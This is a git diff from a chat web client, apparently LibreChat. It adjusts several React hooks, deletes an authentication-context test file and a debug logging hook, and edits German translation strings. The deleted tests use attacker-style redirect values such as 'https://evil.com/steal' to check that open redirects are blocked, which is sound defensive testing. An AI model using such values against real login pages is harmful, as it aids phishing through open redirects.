type ChatHelpers = Pick<
EventHandlerParams,
| 'setMessages'
@@ -104,7 +120,7 @@ export default function useSSE(
const data = JSON.parse(e.data);
if (data.final != null) {
- clearAllDrafts(submission.conversation?.conversationId);
+ clearDraft(submission.conversation?.conversationId);
try {
finalHandler(data, submission as EventSubmission);
} catch (error) {
diff --git a/client/src/hooks/__tests__/AuthContext.spec.tsx b/client/src/hooks/__tests__/AuthContext.spec.tsx
deleted file mode 100644
index 10a0ee3340..0000000000
--- a/client/src/hooks/__tests__/AuthContext.spec.tsx
+++ /dev/null
@@ -1,447 +0,0 @@
-/**
- * @jest-environment @happy-dom/jest-environment
- */
-import React from 'react';
-import { render, act } from '@testing-library/react';
-import { RecoilRoot } from 'recoil';
-import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
-import { MemoryRouter } from 'react-router-dom';
-
-import type { TAuthConfig } from '~/common';
-
-import { AuthContextProvider, useAuthContext } from '../AuthContext';
-import { SESSION_KEY } from '~/utils';
-
-const mockNavigate = jest.fn();
-jest.mock('react-router-dom', () => ({
- ...jest.requireActual('react-router-dom'),
- useNavigate: () => mockNavigate,
-}));
-
-const mockApiBaseUrl = jest.fn(() => '');
-
-jest.mock('librechat-data-provider', () => ({
- ...jest.requireActual('librechat-data-provider'),
- setTokenHeader: jest.fn(),
- apiBaseUrl: () => mockApiBaseUrl(),
-}));
-
-let mockCapturedLoginOptions: {
- onSuccess: (...args: unknown[]) => void;
- onError: (...args: unknown[]) => void;
-};
-
-let mockCapturedLogoutOptions: {
- onSuccess: (...args: unknown[]) => void;
- onError: (...args: unknown[]) => void;
-};
-
-const mockRefreshMutate = jest.fn();
-
-jest.mock('~/data-provider', () => ({
- useLoginUserMutation: jest.fn(
- (options: {
- onSuccess: (...args: unknown[]) => void;
- onError: (...args: unknown[]) => void;
- }) => {
- mockCapturedLoginOptions = options;
- return { mutate: jest.fn() };
- },
- ),
- useLogoutUserMutation: jest.fn(
- (options: {
- onSuccess: (...args: unknown[]) => void;
- onError: (...args: unknown[]) => void;
- }) => {
- mockCapturedLogoutOptions = options;
- return { mutate: jest.fn() };
- },
- ),
- useRefreshTokenMutation: jest.fn(() => ({ mutate: mockRefreshMutate })),
- useGetUserQuery: jest.fn(() => ({
- data: undefined,
- isError: false,
- error: null,
- })),
- useGetRole: jest.fn(() => ({ data: null })),
-}));
-
-const authConfig: TAuthConfig = { loginRedirect: '/login', test: true };
-
-function TestConsumer() {
- const ctx = useAuthContext();
- return
;
-}
-
-function renderProvider() {
- const queryClient = new QueryClient({
- defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
- });
-
- return render(
-
-
-
-
-
-
-
-
- ,
- );
-}
-
-/** Renders without test:true so silentRefresh actually runs */
-function renderProviderLive() {
- const queryClient = new QueryClient({
- defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
- });
-
- return render(
-
-
-
-
-
-
-
-
- ,
- );
-}
-
-describe('AuthContextProvider — login onError redirect handling', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- window.history.replaceState({}, '', '/login');
- });
-
- afterEach(() => {
- window.history.replaceState({}, '', '/');
- });
-
- it('preserves a valid redirect_to param across login failure', () => {
- window.history.replaceState({}, '', '/login?redirect_to=%2Fc%2Fabc123');
-
- renderProvider();
-
- act(() => {
- mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/login?redirect_to=%2Fc%2Fabc123', {
- replace: true,
- });
- });
-
- it('drops redirect_to when it contains an absolute URL (open-redirect prevention)', () => {
- window.history.replaceState({}, '', '/login?redirect_to=https%3A%2F%2Fevil.com');
-
- renderProvider();
-
- act(() => {
- mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
- });
-
- it('drops redirect_to when it points to /login (recursive redirect prevention)', () => {
- window.history.replaceState({}, '', '/login?redirect_to=%2Flogin');
-
- renderProvider();
-
- act(() => {
- mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
- });
-
- it('navigates to plain /login when no redirect_to param exists', () => {
- renderProvider();
-
- act(() => {
- mockCapturedLoginOptions.onError({ message: 'Server error' });
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/login', { replace: true });
- });
-
- it('preserves redirect_to with query params and hash', () => {
- const target = '/c/abc123?model=gpt-4#section';
- window.history.replaceState({}, '', `/login?redirect_to=${encodeURIComponent(target)}`);
-
- renderProvider();
-
- act(() => {
- mockCapturedLoginOptions.onError({ message: 'Invalid credentials' });
- });
-
- const navigatedUrl = mockNavigate.mock.calls[0][0] as string;
- const params = new URLSearchParams(navigatedUrl.split('?')[1]);
- expect(decodeURIComponent(params.get('redirect_to')!)).toBe(target);
- });
-});
-
-describe('AuthContextProvider — logout onSuccess/onError handling', () => {
- const mockSetTokenHeader = jest.requireMock('librechat-data-provider').setTokenHeader;
-
- beforeEach(() => {
- jest.clearAllMocks();
- window.history.replaceState({}, '', '/c/some-chat');
- });
-
- afterEach(() => {
- window.history.replaceState({}, '', '/');
- });
-
- it('calls window.location.replace and setTokenHeader(undefined) when redirect is present', () => {
- const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
-
- renderProvider();
-
- act(() => {
- mockCapturedLogoutOptions.onSuccess({
- message: 'Logout successful',
- redirect: 'https://idp.example.com/logout?id_token_hint=abc',
- });
- });
-
- expect(replaceSpy).toHaveBeenCalledWith('https://idp.example.com/logout?id_token_hint=abc');
- expect(mockSetTokenHeader).toHaveBeenCalledWith(undefined);
- });
-
- it('does not call window.location.replace when redirect is absent', async () => {
- const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
-
- renderProvider();
-
- act(() => {
- mockCapturedLogoutOptions.onSuccess({ message: 'Logout successful' });
- });
-
- expect(replaceSpy).not.toHaveBeenCalled();
- });
-
- it('does not trigger silentRefresh after OIDC redirect', () => {
- const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
-
- renderProviderLive();
- mockRefreshMutate.mockClear();
-
- act(() => {
- mockCapturedLogoutOptions.onSuccess({
- message: 'Logout successful',
- redirect: 'https://idp.example.com/logout?id_token_hint=abc',
- });
- });
-
- expect(replaceSpy).toHaveBeenCalled();
- expect(mockRefreshMutate).not.toHaveBeenCalled();
- });
-});
-
-describe('AuthContextProvider — silentRefresh post-login redirect', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- sessionStorage.clear();
- });
-
- afterEach(() => {
- sessionStorage.clear();
- window.history.replaceState({}, '', '/');
- });
-
- it('navigates to stored sessionStorage redirect after successful token refresh', () => {
- jest.useFakeTimers();
- sessionStorage.setItem(SESSION_KEY, '/c/new?endpoint=bedrock&model=claude-sonnet-4-6');
-
- renderProviderLive();
-
- expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
- const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
- unknown,
- { onSuccess: (data: unknown) => void },
- ];
-
- act(() => {
- refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/c/new?endpoint=bedrock&model=claude-sonnet-4-6', {
- replace: true,
- });
- expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
- jest.useRealTimers();
- });
-
- it('navigates to current URL when no stored redirect exists', () => {
- jest.useFakeTimers();
- window.history.replaceState({}, '', '/c/new');
-
- renderProviderLive();
-
- expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
- const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
- unknown,
- { onSuccess: (data: unknown) => void },
- ];
-
- act(() => {
- refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true });
- jest.useRealTimers();
- });
-
- it('does not re-trigger silentRefresh after successful redirect', () => {
- jest.useFakeTimers();
- sessionStorage.setItem(SESSION_KEY, '/c/abc?endpoint=bedrock');
-
- renderProviderLive();
-
- expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
- const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
- unknown,
- { onSuccess: (data: unknown) => void },
- ];
- mockRefreshMutate.mockClear();
-
- act(() => {
- refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(mockNavigate).toHaveBeenCalledTimes(1);
- expect(mockNavigate).toHaveBeenCalledWith('/c/abc?endpoint=bedrock', { replace: true });
- expect(mockRefreshMutate).not.toHaveBeenCalled();
- jest.useRealTimers();
- });
-
- it('falls back to current URL for unsafe stored redirect', () => {
- jest.useFakeTimers();
- window.history.replaceState({}, '', '/c/new');
- sessionStorage.setItem(SESSION_KEY, 'https://evil.com/steal');
-
- renderProviderLive();
-
- expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
- const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
- unknown,
- { onSuccess: (data: unknown) => void },
- ];
-
- act(() => {
- refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/c/new', { replace: true });
- expect(mockNavigate).not.toHaveBeenCalledWith('https://evil.com/steal', expect.anything());
- expect(sessionStorage.getItem(SESSION_KEY)).toBeNull();
- jest.useRealTimers();
- });
-});
-
-describe('AuthContextProvider — silentRefresh subdirectory deployment', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- sessionStorage.clear();
- mockApiBaseUrl.mockReturnValue('/chat');
- });
-
- afterEach(() => {
- mockApiBaseUrl.mockReturnValue('');
- sessionStorage.clear();
- window.history.replaceState({}, '', '/');
- });
-
- it('strips base path from window.location.pathname before navigating (prevents /chat/chat doubling)', () => {
- jest.useFakeTimers();
- window.history.replaceState({}, '', '/chat/c/abc123?model=gpt-4');
-
- renderProviderLive();
-
- expect(mockRefreshMutate).toHaveBeenCalledTimes(1);
- const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
- unknown,
- { onSuccess: (data: unknown) => void },
- ];
-
- act(() => {
- refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/c/abc123?model=gpt-4', { replace: true });
- expect(mockNavigate).not.toHaveBeenCalledWith(
- expect.stringContaining('/chat/c/'),
- expect.anything(),
- );
- jest.useRealTimers();
- });
-
- it('falls back to root when window.location.pathname equals the base path', () => {
- jest.useFakeTimers();
- window.history.replaceState({}, '', '/chat');
-
- renderProviderLive();
-
- const [, refreshOptions] = mockRefreshMutate.mock.calls[0] as [
- unknown,
- { onSuccess: (data: unknown) => void },
- ];
-
- act(() => {
- refreshOptions.onSuccess({ user: { id: '1', role: 'USER' }, token: 'new-token' });
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(mockNavigate).toHaveBeenCalledWith('/', { replace: true });
- jest.useRealTimers();
- });
-});
-
-describe('AuthContextProvider — logout error handling', () => {
- beforeEach(() => {
- jest.clearAllMocks();
- window.history.replaceState({}, '', '/c/some-chat');
- });
-
- afterEach(() => {
- window.history.replaceState({}, '', '/');
- });
-
- it('clears auth state on logout error without external redirect', () => {
- jest.useFakeTimers();
- const replaceSpy = jest.spyOn(window.location, 'replace').mockImplementation(() => {});
- const { getByTestId } = renderProvider();
-
- act(() => {
- mockCapturedLogoutOptions.onError(new Error('Logout failed'));
- });
- act(() => {
- jest.advanceTimersByTime(100);
- });
-
- expect(replaceSpy).not.toHaveBeenCalled();
- expect(getByTestId('consumer').getAttribute('data-authenticated')).toBe('false');
- jest.useRealTimers();
- });
-});
diff --git a/client/src/hooks/useLocalize.ts b/client/src/hooks/useLocalize.ts
index f87ee5932b..6b574d25b1 100644
--- a/client/src/hooks/useLocalize.ts
+++ b/client/src/hooks/useLocalize.ts
@@ -1,4 +1,4 @@
-import { useCallback, useEffect } from 'react';
+import { useEffect } from 'react';
import { TOptions } from 'i18next';
import { useRecoilValue } from 'recoil';
import { useTranslation } from 'react-i18next';
@@ -17,8 +17,5 @@ export default function useLocalize() {
}
}, [lang, i18n]);
- return useCallback(
- (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options),
- [t],
- );
+ return (phraseKey: TranslationKeys, options?: TOptions) => t(phraseKey, options);
}
diff --git a/client/src/hooks/useNewConvo.ts b/client/src/hooks/useNewConvo.ts
index f2879cb092..7fa499f40d 100644
--- a/client/src/hooks/useNewConvo.ts
+++ b/client/src/hooks/useNewConvo.ts
@@ -48,7 +48,7 @@ const useNewConvo = (index = 0) => {
const applyModelSpecEffects = useApplyModelSpecEffects();
const clearAllConversations = store.useClearConvoState();
const defaultPreset = useRecoilValue(store.defaultPreset);
- const { setConversation } = store.useSetConversationAtom(index);
+ const { setConversation } = store.useCreateConversationAtom(index);
const [files, setFiles] = useRecoilState(store.filesByIndex(index));
const saveBadgesState = useRecoilValue(store.saveBadgesState);
const clearAllLatestMessages = store.useClearLatestMessages(`useNewConvo ${index}`);
diff --git a/client/src/hooks/useRenderChangeLog.ts b/client/src/hooks/useRenderChangeLog.ts
deleted file mode 100644
index e20f04be05..0000000000
--- a/client/src/hooks/useRenderChangeLog.ts
+++ /dev/null
@@ -1,67 +0,0 @@
-import { useEffect, useRef } from 'react';
-
-type DebugWindow = Window & {
- __LC_RENDER_DEBUG__?: boolean;
-};
-
-/**
- * Development-only hook that logs which tracked values changed between renders.
- *
- * Enable by setting `window.__LC_RENDER_DEBUG__ = true` in the browser console.
- * Automatically no-ops in production builds.
- *
- * @example
- * ```ts
- * useRenderChangeLog('MessageRender', { messageId, isLast, depth });
- * ```
- */
-export default function useRenderChangeLog(
- name: string,
- values: Record,
-) {
- const previousValuesRef = useRef | null>(null);
-
- useEffect(() => {
- if (process.env.NODE_ENV === 'production') {
- return;
- }
-
- if (typeof window === 'undefined' || !(window as DebugWindow).__LC_RENDER_DEBUG__) {
- previousValuesRef.current = values;
- return;
- }
-
- if (previousValuesRef.current == null) {
- console.log(`[render-debug] ${name}: initial render`, values);
- previousValuesRef.current = values;
- return;
- }
-
- const previousValues = previousValuesRef.current;
- const changedEntries = Object.entries(values).filter(
- ([key, value]) => !Object.is(previousValues[key], value),
- );
-
- if (changedEntries.length > 0) {
- console.log(
- `[render-debug] ${name}`,
- Object.fromEntries(
- changedEntries.map(([key, value]) => [
- key,
- {
- previous: previousValues[key],
- next: value,
- },
- ]),
- ),
- );
- } else {
- console.log(`[render-debug] ${name}: parent-driven render`);
- }
-
- previousValuesRef.current = values;
- });
-}
diff --git a/client/src/locales/de/translation.json b/client/src/locales/de/translation.json
index 1f59df94e6..aca7f8ff2a 100644
--- a/client/src/locales/de/translation.json
+++ b/client/src/locales/de/translation.json
@@ -3,7 +3,6 @@
"chat_direction_right_to_left": "Rechts nach Links",
"com_a11y_ai_composing": "Die KI erstellt noch ihre Antwort.\n",
"com_a11y_end": "Die KI hat die Antwort fertiggestellt.",
- "com_a11y_selected": "ausgewählt",
"com_a11y_start": "Die KI hat mit ihrer Antwort begonnen. ",
"com_agents_agent_card_label": "{{name}} Agent. {{description}}",
"com_agents_all": "Alle Agenten",
@@ -224,11 +223,10 @@
"com_endpoint_agent": "Agent",
"com_endpoint_agent_placeholder": "Bitte wähle einen Agenten aus",
"com_endpoint_ai": "KI",
- "com_endpoint_anthropic_effort": "Steuert, wie viel Rechenaufwand Claude betreibt. Ein geringerer Aufwand spart Token und verringert die Latenz; ein höherer Aufwand führt zu gründlicheren Antworten. ‚Max‘ ermöglicht das tiefste Reasoning (nur Opus 4.6).",
"com_endpoint_anthropic_maxoutputtokens": "Maximale Anzahl von Token, die in der Antwort erzeugt werden können. Gib einen niedrigeren Wert für kürzere Antworten und einen höheren Wert für längere Antworten an. Hinweis: Die Modelle können auch vor Erreichen dieses Maximums stoppen.",
"com_endpoint_anthropic_prompt_cache": "Prompt-Caching ermöglicht die Wiederverwendung von umfangreichen Kontexten oder Anweisungen über mehrere API-Aufrufe hinweg, wodurch Kosten und Latenzzeiten reduziert werden",
"com_endpoint_anthropic_temp": "Reicht von 0 bis 1. Verwende Temperaturen näher an 0 für analytische / Multiple-Choice-Aufgaben und näher an 1 für kreative und generative Aufgaben. Wir empfehlen, entweder dies oder Top P zu ändern, aber nicht beides.",
- "com_endpoint_anthropic_thinking": "Aktiviert das interne Reasoning für unterstützte Claude-Modelle. Bei neueren Modellen (Opus 4.6+) wird adaptives Denken genutzt, das über den Parameter „Aufwand“ gesteuert wird. Bei älteren Modellen muss ein „Thinking Budget“ festgelegt werden, das unter den „Max Output Tokens“ liegt.",
+ "com_endpoint_anthropic_thinking": "Aktiviert internes logisches Denken für unterstützte Claude-Modelle (3.7 Sonnet). Hinweis: Erfordert, dass \"Denkbudget\" festgelegt und niedriger als \"Max. Ausgabe-Token\" ist",
"com_endpoint_anthropic_thinking_budget": "Bestimmt die maximale Anzahl an Token, die Claude für seinen internen Denkprozess verwenden darf. Ein höheres Budget kann die Antwortqualität verbessern, indem es eine gründlichere Analyse bei komplexen Problemen ermöglicht. Claude nutzt jedoch möglicherweise nicht das gesamte zugewiesene Budget, insbesondere bei Werten über 32.000. Diese Einstellung muss niedriger sein als \"Max. Ausgabe-Token\".",
"com_endpoint_anthropic_topk": "Top-k ändert, wie das Modell Token für die Ausgabe auswählt. Ein Top-k von 1 bedeutet, dass das ausgewählte Token das wahrscheinlichste unter allen Token im Vokabular des Modells ist (auch \"Greedy Decoding\" genannt), während ein Top-k von 3 bedeutet, dass das nächste Token aus den 3 wahrscheinlichsten Token ausgewählt wird (unter Verwendung der Temperatur).",
"com_endpoint_anthropic_topp": "Top-p ändert, wie das Modell Token für die Ausgabe auswählt. Token werden von den wahrscheinlichsten K (siehe topK-Parameter) bis zu den am wenigsten wahrscheinlichen ausgewählt, bis die Summe ihrer Wahrscheinlichkeiten dem Top-p-Wert entspricht.",
@@ -236,7 +234,6 @@
"com_endpoint_assistant": "Assistent",
"com_endpoint_assistant_model": "Assistentenmodell",
"com_endpoint_assistant_placeholder": "Bitte wähle einen Assistenten aus dem rechten Seitenpanel aus",
- "com_endpoint_bedrock_reasoning_effort": "Steuert die Intensität des Nachdenkens für unterstützte Bedrock-Modelle (z. B. Kimi K2.5, GLM). Höhere Stufen führen zu gründlicherem Nachdenken auf Kosten von erhöhter Latenz und mehr Tokens.",
"com_endpoint_config_click_here": "Klicke hier",
"com_endpoint_config_google_api_info": "Um deinen Generative Language API-Key (für Gemini) zu erhalten,",
"com_endpoint_config_google_api_key": "Google API-Key",
@@ -267,7 +264,6 @@
"com_endpoint_default_with_num": "Standard: {{0}}",
"com_endpoint_disable_streaming": "Deaktiviere das Streaming von Antworten und erhalte die vollständige Antwort auf einmal. Nützlich für Modelle wie o3, die eine Organisationsverifizierung für Streaming erfordern",
"com_endpoint_disable_streaming_label": "Streaming deaktivieren",
- "com_endpoint_effort": "Aufwand",
"com_endpoint_examples": " Voreinstellungen",
"com_endpoint_export": "Exportieren",
"com_endpoint_export_share": "Exportieren/Teilen",
@@ -275,9 +271,8 @@
"com_endpoint_google_custom_name_placeholder": "Lege einen benutzerdefinierten Namen für Google fest",
"com_endpoint_google_maxoutputtokens": "Maximale Anzahl von Token, die in der Antwort generiert werden können. Gib einen niedrigeren Wert für kürzere Antworten und einen höheren Wert für längere Antworten an. Hinweis: Modelle können möglicherweise vor Erreichen dieses Maximums stoppen.",
"com_endpoint_google_temp": "Höhere Werte = zufälliger, während niedrigere Werte = fokussierter und deterministischer. Wir empfehlen, entweder dies oder Top P zu ändern, aber nicht beides.",
- "com_endpoint_google_thinking": "Aktiviert oder deaktiviert das Nachdenken. Unterstützt von den Gemini 2.5- und 3-Serien. Hinweis: Bei Gemini 3 Pro kann das Nachdenken nicht vollständig deaktiviert werden.",
- "com_endpoint_google_thinking_budget": "Steuert die Anzahl der Token, die das Modell zum Nachdenken verwendet. Die tatsächliche Menge kann je nach Eingabe über oder unter diesem Wert liegen.\n\nDiese Einstellung gilt nur für Gemini 2.5 und ältere Modelle. Verwende für Gemini 3 und neuer stattdessen die Einstellung „Nachdenk-Level“.\n\nGemini 2.5 Pro unterstützt 128–32.768 Token. Gemini 2.5 Flash unterstützt 0–24.576 Token. Gemini 2.5 Flash Lite unterstützt 512–24.576 Token.\n\nLass das Feld leer oder setze den Wert auf „-1“, damit das Modell automatisch entscheidet, wann und wie viel es nachdenkt. Standardmäßig denkt Gemini 2.5 Flash Lite nicht nach.",
- "com_endpoint_google_thinking_level": "Steuert die Tiefe des Nachdenkens für Gemini 3 und neuere Modelle. Hat keine Auswirkung auf Gemini 2.5 und ältere Modelle — nutze für diese das Denk-Budget.\n\nBelasse die Einstellung auf „Auto“, um den Standard des Modells zu verwenden.",
+ "com_endpoint_google_thinking": "Aktiviert oder deaktiviert die Argumentation. Diese Einstellung wird nur von bestimmten Modellen (Serie 2.5) unterstützt. Bei älteren Modellen hat diese Einstellung möglicherweise keine Wirkung.",
+ "com_endpoint_google_thinking_budget": "Gibt die Anzahl der Tokens an, die das Modell \"zum Nachdenken\" verwendet. Die tatsächliche Anzahl kann je nach Eingabeaufforderung diesen Wert über- oder unterschreiten.\n\nDiese Einstellung wird nur von bestimmten Modellen (2.5-Serie) unterstützt. Gemini 2.5 Pro unterstützt 128–32.768 Token. Gemini 2.5 Flash unterstützt 0–24.576 Token. Gemini 2.5 Flash Lite unterstützt 512–24.576 Token.\n\nLeer lassen oder auf „-1“ setzen, damit das Modell automatisch entscheidet, wann und wie viel nachgedacht werden soll. Standardmäßig denkt Gemini 2.5 Flash Lite nicht.",
"com_endpoint_google_topk": "Top-k ändert, wie das Modell Token für die Antwort auswählt. Ein Top-k von 1 bedeutet, dass das ausgewählte Token das wahrscheinlichste unter allen Token im Vokabular des Modells ist (auch Greedy-Decoding genannt), während ein Top-k von 3 bedeutet, dass das nächste Token aus den 3 wahrscheinlichsten Token ausgewählt wird (unter Verwendung der Temperatur).",
"com_endpoint_google_topp": "Top-p ändert, wie das Modell Token für die Antwort auswählt. Token werden von den wahrscheinlichsten K (siehe topK-Parameter) bis zu den am wenigsten wahrscheinlichen ausgewählt, bis die Summe ihrer Wahrscheinlichkeiten dem Top-p-Wert entspricht.",
"com_endpoint_google_use_search_grounding": "Nutze die Google-Suche, um Antworten mit Echtzeit-Ergebnissen aus dem Web zu verbessern. Dies ermöglicht es den Modellen, auf aktuelle Informationen zuzugreifen und präzisere, aktuellere Antworten zu geben.",
@@ -347,12 +342,11 @@
"com_endpoint_temperature": "Temperatur",
"com_endpoint_thinking": "Denken",
"com_endpoint_thinking_budget": "Denkbudget",
- "com_endpoint_thinking_level": "Nachdenk-Level",
"com_endpoint_top_k": "Top K",
"com_endpoint_top_p": "Top P",
"com_endpoint_use_active_assistant": "Aktiven Assistenten verwenden",
"com_endpoint_use_responses_api": "Responses-API nutzen",
- "com_endpoint_use_search_grounding": "Fundierung mit der Google Suche",
+ "com_endpoint_use_search_grounding": "Antworten mit Google-Suche anreichern",
"com_endpoint_verbosity": "Ausführlichkeit",
"com_error_endpoint_models_not_loaded": "Modelle für {{0}} konnten nicht geladen werden. Bitte lade die Seite neu und versuch es erneut.",
"com_error_expired_user_key": "Der angegebene API-Key für {{0}} ist am {{1}} abgelaufen. Bitte gebe einen neuen API-Key ein und versuche es erneut.",
@@ -368,7 +362,6 @@
"com_error_illegal_model_request": "Das Modell „{{0}}“ ist für {{1}} nicht verfügbar. Bitte wähle ein anderes Modell aus.",
"com_error_input_length": "Die Anzahl der Tokens der letzten Nachricht ist zu lang und überschreitet das Token-Limit. Oder Ihre Token-Limit-Parameter sind falsch konfiguriert, was sich negativ auf das Kontextfenster auswirkt. Weitere Informationen: {{0}}. Bitte kürzen Sie Ihre Nachricht, passen Sie die maximale Kontextgröße in den Konversationsparametern an oder teilen Sie die Konversation auf, um fortzufahren.",
"com_error_invalid_agent_provider": "Der Anbieter \"{{0}}\" steht für die Verwendung mit Agents nicht zur Verfügung. Bitte gehe zu den Einstellungen deines Agents und wähle einen aktuell verfügbaren Anbieter aus.",
- "com_error_invalid_base_url": "Die angegebene Basis-URL verweist auf eine eingeschränkte Adresse. Bitte verwende eine gültige externe URL und versuche es erneut.",
"com_error_invalid_user_key": "Ungültiger API-Key angegeben. Bitte gebe einen gültigen API-Key ein und versuche es erneut.",
"com_error_missing_model": "Kein Modell für {{0}} ausgewählt. Bitte wähle ein Modell und versuch es erneut.",
"com_error_models_not_loaded": "Die Modellkonfiguration konnte nicht geladen werden. Bitte lade die Seite neu und versuch es erneut.",
@@ -515,20 +508,16 @@
"com_nav_lang_german": "Deutsch",
"com_nav_lang_hebrew": "עברית",
"com_nav_lang_hungarian": "Ungarisch",
- "com_nav_lang_icelandic": "Isländisch",
"com_nav_lang_indonesia": "Indonesia",
"com_nav_lang_italian": "Italiano",
"com_nav_lang_japanese": "日本語",
"com_nav_lang_korean": "한국어",
"com_nav_lang_latvian": "Lettisch",
- "com_nav_lang_lithuanian": "Litauisch",
"com_nav_lang_norwegian_bokmal": "Norwegisch Bokmål",
- "com_nav_lang_norwegian_nynorsk": "Norwegisch (Nynorsk)",
"com_nav_lang_persian": "Persisch",
"com_nav_lang_polish": "Polski",
"com_nav_lang_portuguese": "Português",
"com_nav_lang_russian": "Русский",
- "com_nav_lang_slovak": "Slowakisch",
"com_nav_lang_slovenian": "Slowenisch",
"com_nav_lang_spanish": "Español",
"com_nav_lang_swedish": "Svenska",
@@ -544,18 +533,9 @@
"com_nav_log_out": "Abmelden",
"com_nav_long_audio_warning": "Längere Texte benötigen mehr Zeit zur Verarbeitung.",
"com_nav_maximize_chat_space": "Chat-Bereich maximieren",
- "com_nav_mcp_access_revoked": "Zugriff auf MCP-Server erfolgreich widerrufen.",
"com_nav_mcp_configure_server": "{{0}} konfigurieren",
- "com_nav_mcp_connect": "Verbinden",
- "com_nav_mcp_connect_server": "{{0}} verbinden",
- "com_nav_mcp_reconnect": "Neu verbinden",
"com_nav_mcp_status_connected": "Verbunden",
"com_nav_mcp_status_connecting": "{{0}} - Verbinde...",
- "com_nav_mcp_status_disconnected": "Getrennt",
- "com_nav_mcp_status_error": "Fehler",
- "com_nav_mcp_status_initializing": "Initialisieren",
- "com_nav_mcp_status_needs_auth": "Auth benötigt",
- "com_nav_mcp_status_unknown": "Unbekannt",
"com_nav_mcp_vars_update_error": "Fehler beim Aktualisieren der benutzerdefinierten MCP-Variablen.",
"com_nav_mcp_vars_updated": "Die MCP-Benutzervariablen wurden erfolgreich aktualisiert.",
"com_nav_modular_chat": "Ermöglicht das Wechseln der Endpunkte mitten im Gespräch",
@@ -640,16 +620,13 @@
"com_ui_2fa_generate_error": "Beim Erstellen der Einstellungen für die Zwei-Faktor-Authentifizierung ist ein Fehler aufgetreten.",
"com_ui_2fa_invalid": "Ungültiger Zwei-Faktor-Authentifizierungscode.",
"com_ui_2fa_setup": "2FA einrichten",
- "com_ui_2fa_verification_required": "Gib deinen 2FA-Code ein, um fortzufahren",
"com_ui_2fa_verified": "Die Zwei-Faktor-Authentifizierung wurde erfolgreich verifiziert.",
"com_ui_accept": "Ich akzeptiere",
"com_ui_action_button": "Aktions Button",
"com_ui_active": "Aktiv",
"com_ui_add": "Hinzufügen",
"com_ui_add_code_interpreter_api_key": "Code Interpreter API-Schlüssel hinzufügen",
- "com_ui_add_first_bookmark": "Klicke auf einen Chat, um ihn hinzuzufügen",
"com_ui_add_first_mcp_server": "Erstelle deinen ersten MCP-Server, um loszulegen",
- "com_ui_add_first_prompt": "Erstelle deinen ersten Prompt, um zu starten",
"com_ui_add_mcp": "MCP hinzufügen",
"com_ui_add_mcp_server": "MCP Server hinzufügen",
"com_ui_add_model_preset": "Ein KI-Modell oder eine Voreinstellung für eine zusätzliche Antwort hinzufügen",
@@ -665,8 +642,6 @@
"com_ui_advanced": "Erweitert",
"com_ui_advanced_settings": "Erweiterte Einstellungen",
"com_ui_agent": "Agent",
- "com_ui_agent_api_keys": "Agenten-API-Schlüssel",
- "com_ui_agent_api_keys_description": "Erstelle API-Schlüssel, um per API remote auf Agenten zuzugreifen.",
"com_ui_agent_category_aftersales": "Kundendienst",
"com_ui_agent_category_finance": "Finanzen",
"com_ui_agent_category_general": "Allgemein",
@@ -714,23 +689,12 @@
"com_ui_agents": "Agenten",
"com_ui_agents_allow_create": "Erlaube Agenten zu erstellen",
"com_ui_agents_allow_share": "Teilen von Agenten erlauben",
- "com_ui_agents_allow_share_public": "Öffentliches Teilen von Agenten erlauben",
"com_ui_agents_allow_use": "Verwendung von Agenten erlauben",
"com_ui_all": "alle",
"com_ui_all_proper": "Alle",
"com_ui_analyzing": "Analyse läuft",
"com_ui_analyzing_finished": "Analyse abgeschlossen",
"com_ui_api_key": "API-Schlüssel",
- "com_ui_api_key_copied": "API-Schlüssel in die Zwischenablage kopiert",
- "com_ui_api_key_create_error": "Fehler beim Erstellen des API-Schlüssels",
- "com_ui_api_key_created": "API-Schlüssel erfolgreich erstellt",
- "com_ui_api_key_delete_error": "Fehler beim Löschen des API-Schlüssels",
- "com_ui_api_key_deleted": "API-Schlüssel erfolgreich gelöscht",
- "com_ui_api_key_name": "Schlüsselname",
- "com_ui_api_key_name_placeholder": "Mein API-Schlüssel",
- "com_ui_api_key_name_required": "API-Schlüsselname ist erforderlich",
